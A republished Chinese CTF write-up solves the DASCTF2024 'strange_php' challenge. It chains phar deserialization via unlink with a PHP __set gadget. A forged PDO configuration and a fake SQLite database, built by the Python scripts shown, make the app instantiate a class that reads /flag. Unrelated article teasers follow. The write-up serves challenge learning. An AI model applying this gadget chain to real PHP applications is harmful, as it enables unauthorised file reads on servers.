CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

news/2025/2/1 18:51:37/

step 1 如何触发反序列化?

漏洞入口在

welcome.php

case 'delete':  // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  $msg = $userMessage->deleteMessage($message); // 删除留言  if ($msg) {  echo "留言已成功删除"; // 输出成功删除信息  } else {  echo "操作失败,请重新尝试"; // 输出失败信息  }  break;

此处message_path可控,进一步跟进

UserMessage.php

public function deleteMessage($path) {  $path = $path . ".txt"; // 添加文件扩展名  if (file_exists($path)) {  $result = unlink($path);  if ($result === false) {  return false;  }  return true;  }  return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

public function writeMessage($message) {  $result = file_put_contents($this->filePath, $message);  if ($result === false) {  return false;  }  return true;  
}

step 3 如何利用反序列化读取flag?

<?php  class UserMessage {  private $filePath;  ........// 魔术方法 __set,用于设置私有属性并记录日志  public function __set($name, $value) {  $this->$name = $value;  $logContent = file_get_contents($this->filePath) . "</br>";  file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  }  .......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

<?php  class PDO_connect {  private $pdo; // 用于保存 PDO 实例  public $con_options = []; // 用于设置 PDO 连接的选项  public $smt; // 用于保存 PDOStatement 实例  public function __construct() {  // 构造函数,初始化对象时调用  }  // 初始化连接选项  public function init() {  $this->con_options = array(  "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  'host' => '127.0.0.1', // 数据库主机地址  'port' => '3306', // 数据库端口  'user' => 'joker', // 数据库用户名  'password' => 'joker', // 数据库密码  'charset' => 'utf8', // 字符集  'options' => array(  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  )  );  }  // 获取数据库连接  public function get_connection() {  $this->conn = null; // 初始化连接为 null        try {  // 创建 PDO 实例  $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  // 设置错误处理模式  if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  }  // 设置默认获取模式  if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  }  } catch (PDOException $e) {  // 捕获异常并输出错误信息  echo 'Connection Error: ' . $e->getMessage();  }  return $this->conn; // 返回 PDO 连接实例  }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE:当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

public function __set($name, $value) {  $this->$name = $value;  $logContent = file_get_contents($this->filePath) . "</br>";  file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

class PDO_connect{  private $pdo;  public $con_options = []; public $smt;  public function __construct(){  $this->con_options =  [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  "username"=>"root",  "password"=>"root",  "options"=>[  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  ]  ];  }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

public function __destruct() {  if ($this->username) {  $results = $this->log();  $log_mess = serialize($results);  // 记录日志到文件  file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

public function log() {  try {  $sql = "SELECT * FROM users WHERE username = :username";  $pdo = $this->conn->get_connection();  $stmt = $pdo->prepare($sql);  $stmt->bindParam(':username', $this->username);  $stmt->execute();  $result = $stmt->fetch();  return $result;  } catch (PDOException $e) {  echo $e->getMessage();  }  
}

所以写出

class PDO_connect{  private $pdo;  public $con_options = [];public $smt;  public function __construct(){  $this->con_options = [  "dsn"=>'sqlite:./fake_db.sqlite',  "username"=>"root",  "password"=>"root",  "options"=>[  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  ]  ];  }  
}  
class User{  private $conn;  private $table = 'users';  public $id;  public $username;  public $password;  public function __construct(){  $this->conn = new PDO_connect();  $this->username = "UserMessage";  }  
}

尝试

import sqlite3  conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  conn.commit()  cursor.execute('SELECT * FROM users')  conn.close()

请添加图片描述

import sqlite3  conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  conn.commit()  cursor.execute('SELECT * FROM users')  conn.close()

即可控制变量值触发/flag读取


http://www.ppmy.cn/news/1568490.html

相关文章

双向链表在系统调度、游戏、文本编辑及组态方面的应用

在编程的奇妙世界里&#xff0c;数据结构就像是一把把神奇的钥匙&#xff08;前面我们介绍过单向链表的基础了&#xff0c;这里我们更进一步&#xff09;&#xff0c;能帮我们打开解决各种问题的大门。今天&#xff0c;咱们就来聊聊其中一把特别的钥匙——双向链表。双向链表和…

Spring Boot(6)解决ruoyi框架连续快速发送post请求时,弹出“数据正在处理,请勿重复提交”提醒的问题

一、整个前言 在基于 Ruoyi 框架进行系统开发的过程中&#xff0c;我们常常会遇到各种有趣且具有挑战性的问题。今天&#xff0c;我们就来深入探讨一个在实际开发中较为常见的问题&#xff1a;当连续快速发送 Post 请求时&#xff0c;前端会弹出 “数据正在处理&#xff0c;请…

C++,STL,【目录篇】

文章目录 一、简介二、内容提纲第一部分&#xff1a;STL 概述第二部分&#xff1a;STL 容器第三部分&#xff1a;STL 迭代器第四部分&#xff1a;STL 算法第五部分&#xff1a;STL 函数对象第六部分&#xff1a;STL 高级主题第七部分&#xff1a;STL 实战应用 三、写作风格四、…

freeswitch在centos上编译过程

操作系统&#xff1a;centos9-last usr/local/freeswitch/bin/freeswitch -version FreeSWITCH version: 1.10.13-devgit~20250125T131725Z~3f1e4bf90a~64bit (git 3f1e4bf 2025-01-25 13:17:25Z 64bit)vi /etc/ssh/sshd_config ip a nmtui reboot ip a curl -o /etc/pki/rpm-…

数仓ETL测试

提取&#xff0c;转换和加载有助于组织使数据在不同的数据系统中可访问&#xff0c;有意义且可用。ETL工具是用于提取&#xff0c;转换和加载数据的软件。在当今数据驱动的世界中&#xff0c;无论大小如何&#xff0c;都会从各种组织&#xff0c;机器和小工具中生成大量数据。 …

信号模块--simulink操作

位置simulink/sourses 常用的模块 功能&#xff1a;常数模块&#xff0c;提供一个常数 数据设置可以是一维或多维 一维数据设置 多维数据设置&#xff08;例三维数据设置&#xff09; 方波脉冲模块 模块用于按固定间隔生成方波脉冲信号 振幅就是方波的幅度&#xff0c;0到…

一个简单的自适应html5导航模板

一个简单的 HTML 导航模板示例&#xff0c;它包含基本的导航栏结构&#xff0c;同时使用了 CSS 进行样式美化&#xff0c;让导航栏看起来更美观。另外&#xff0c;还添加了一些 JavaScript 代码&#xff0c;用于在移动端实现导航菜单的展开和收起功能。 PHP <!DOCTYPE htm…

Linux:文件与fd(被打开的文件)

hello&#xff0c;各位小伙伴&#xff0c;本篇文章跟大家一起学习《Linux&#xff1a;文件与fd&#xff08;被打开的文件&#xff09;》&#xff0c;感谢大家对我上一篇的支持&#xff0c;如有什么问题&#xff0c;还请多多指教 &#xff01; 如果本篇文章对你有帮助&#xff0…